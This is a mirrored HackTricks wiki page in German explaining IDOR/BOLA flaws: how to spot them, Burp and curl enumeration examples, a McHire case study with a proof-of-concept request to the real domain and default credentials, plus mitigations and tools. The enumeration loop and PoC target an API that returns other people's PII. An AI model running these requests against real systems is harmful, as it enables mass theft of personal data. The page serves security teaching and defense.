mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			84 lines
		
	
	
		
			4.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			84 lines
		
	
	
		
			4.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # IDOR (Insecure Direct Object Reference)
 | ||
| 
 | ||
| {{#include ../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer steuerbaren Bezeichner offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu überprüfen, ob der Anrufer berechtigt ist**, auf dieses Objekt zuzugreifen/zu ändern. Erfolgreiche Ausnutzung ermöglicht normalerweise eine horizontale oder vertikale Privilegieneskalation, wie das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme des Kontos oder die Massen-Datenexfiltration.
 | ||
| 
 | ||
| ---
 | ||
| ## 1. Identifizierung potenzieller IDORs
 | ||
| 
 | ||
| 1. Suchen Sie nach **Parametern, die auf ein Objekt verweisen**:
 | ||
| * Pfad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
 | ||
| * Abfrage: `?id=42`, `?invoice=2024-00001`
 | ||
| * Body / JSON: `{"user_id": 321, "order_id": 987}`
 | ||
| * Header / Cookies: `X-Client-ID: 4711`
 | ||
| 2. Bevorzugen Sie Endpunkte, die **Daten lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
 | ||
| 3. Beachten Sie, wenn Bezeichner **sequentiell oder vorhersehbar** sind – wenn Ihre ID `64185742` ist, dann existiert wahrscheinlich `64185741`.
 | ||
| 4. Erkunden Sie versteckte oder alternative Flüsse (z. B. *"Paradox-Teammitglieder"* Link auf Anmeldeseiten), die zusätzliche APIs offenlegen könnten.
 | ||
| 5. Verwenden Sie eine **authentifizierte Sitzung mit niedrigen Rechten** und ändern Sie nur die ID, **während Sie dasselbe Token/Cookie beibehalten**. Das Fehlen eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.
 | ||
| 
 | ||
| ### Schnelles manuelles Manipulieren (Burp Repeater)
 | ||
| ```
 | ||
| PUT /api/lead/cem-xhr HTTP/1.1
 | ||
| Host: www.example.com
 | ||
| Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
 | ||
| Content-Type: application/json
 | ||
| 
 | ||
| {"lead_id":64185741}
 | ||
| ```
 | ||
| ### Automatisierte Enumeration (Burp Intruder / curl Schleife)
 | ||
| ```bash
 | ||
| for id in $(seq 64185742 64185700); do
 | ||
| curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
 | ||
| -H 'Content-Type: application/json' \
 | ||
| -H "Cookie: auth=$TOKEN" \
 | ||
| -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
 | ||
| done
 | ||
| ```
 | ||
| ---
 | ||
| ## 2. Fallstudie aus der Praxis – McHire Chatbot-Plattform (2025)
 | ||
| 
 | ||
| Während einer Bewertung des von Paradox.ai betriebenen **McHire** Rekrutierungsportals wurde das folgende IDOR entdeckt:
 | ||
| 
 | ||
| * Endpunkt: `PUT /api/lead/cem-xhr`
 | ||
| * Autorisierung: Benutzer-Sitzungscookie für **jedes** Restaurant-Testkonto
 | ||
| * Body-Parameter: `{"lead_id": N}` – 8-stellige, **sequentielle** numerische Kennung
 | ||
| 
 | ||
| Durch das Verringern von `lead_id` konnte der Tester beliebige Bewerberdaten **vollständige PII** (Name, E-Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein Verbraucher-**JWT** abrufen, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64.185.742` legte ungefähr **64 Millionen** Datensätze offen.
 | ||
| 
 | ||
| Proof-of-Concept-Anfrage:
 | ||
| ```bash
 | ||
| curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 | ||
| -H 'Content-Type: application/json' \
 | ||
| -d '{"lead_id":64185741}'
 | ||
| ```
 | ||
| Kombiniert mit **Standard-Admin-Anmeldeinformationen** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einem kritischen, unternehmensweiten Datenleck.
 | ||
| 
 | ||
| ---
 | ||
| ## 3. Auswirkungen von IDOR / BOLA
 | ||
| * Horizontale Eskalation – Lesen/Aktualisieren/Löschen von **Daten anderer Benutzer**.
 | ||
| * Vertikale Eskalation – Niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
 | ||
| * Massen-Datenleck, wenn Identifikatoren sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
 | ||
| * Kontoübernahme durch Stehlen von Tokens oder Zurücksetzen von Passwörtern anderer Benutzer.
 | ||
| 
 | ||
| ---
 | ||
| ## 4. Minderung & Best Practices
 | ||
| 1. **Durchsetzung der objektbezogenen Autorisierung** bei jeder Anfrage (`user_id == session.user`).
 | ||
| 2. Bevorzugen Sie **indirekte, unratbare Identifikatoren** (UUIDv4, ULID) anstelle von Auto-Increment-IDs.
 | ||
| 3. Führen Sie die Autorisierung **serverseitig** durch, verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Steuerelemente.
 | ||
| 4. Implementieren Sie **RBAC / ABAC**-Überprüfungen in einer zentralen Middleware.
 | ||
| 5. Fügen Sie **Ratenbegrenzung & Protokollierung** hinzu, um die Enumeration von IDs zu erkennen.
 | ||
| 6. Sicherheitstest für jeden neuen Endpunkt (Einheit, Integration und DAST).
 | ||
| 
 | ||
| ---
 | ||
| ## 5. Werkzeuge
 | ||
| * **BurpSuite-Erweiterungen**: Authorize, Auto Repeater, Turbo Intruder.
 | ||
| * **OWASP ZAP**: Auth Matrix, Forced Browse.
 | ||
| * **Github-Projekte**: `bwapp-idor-scanner`, `Blindy` (Bulk-IDOR-Jagd).
 | ||
| 
 | ||
| ## Referenzen
 | ||
| * [McHire Chatbot Platform: Standardanmeldeinformationen und IDOR legen 64 Millionen Bewerber-PII offen](https://ian.sh/mcdonalds)
 | ||
| * [OWASP Top 10 – Fehlerhafte Zugriffskontrolle](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
 | ||
| * [Wie man mehr IDORs findet – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
 | ||
| {{#include ../banners/hacktricks-training.md}}
 |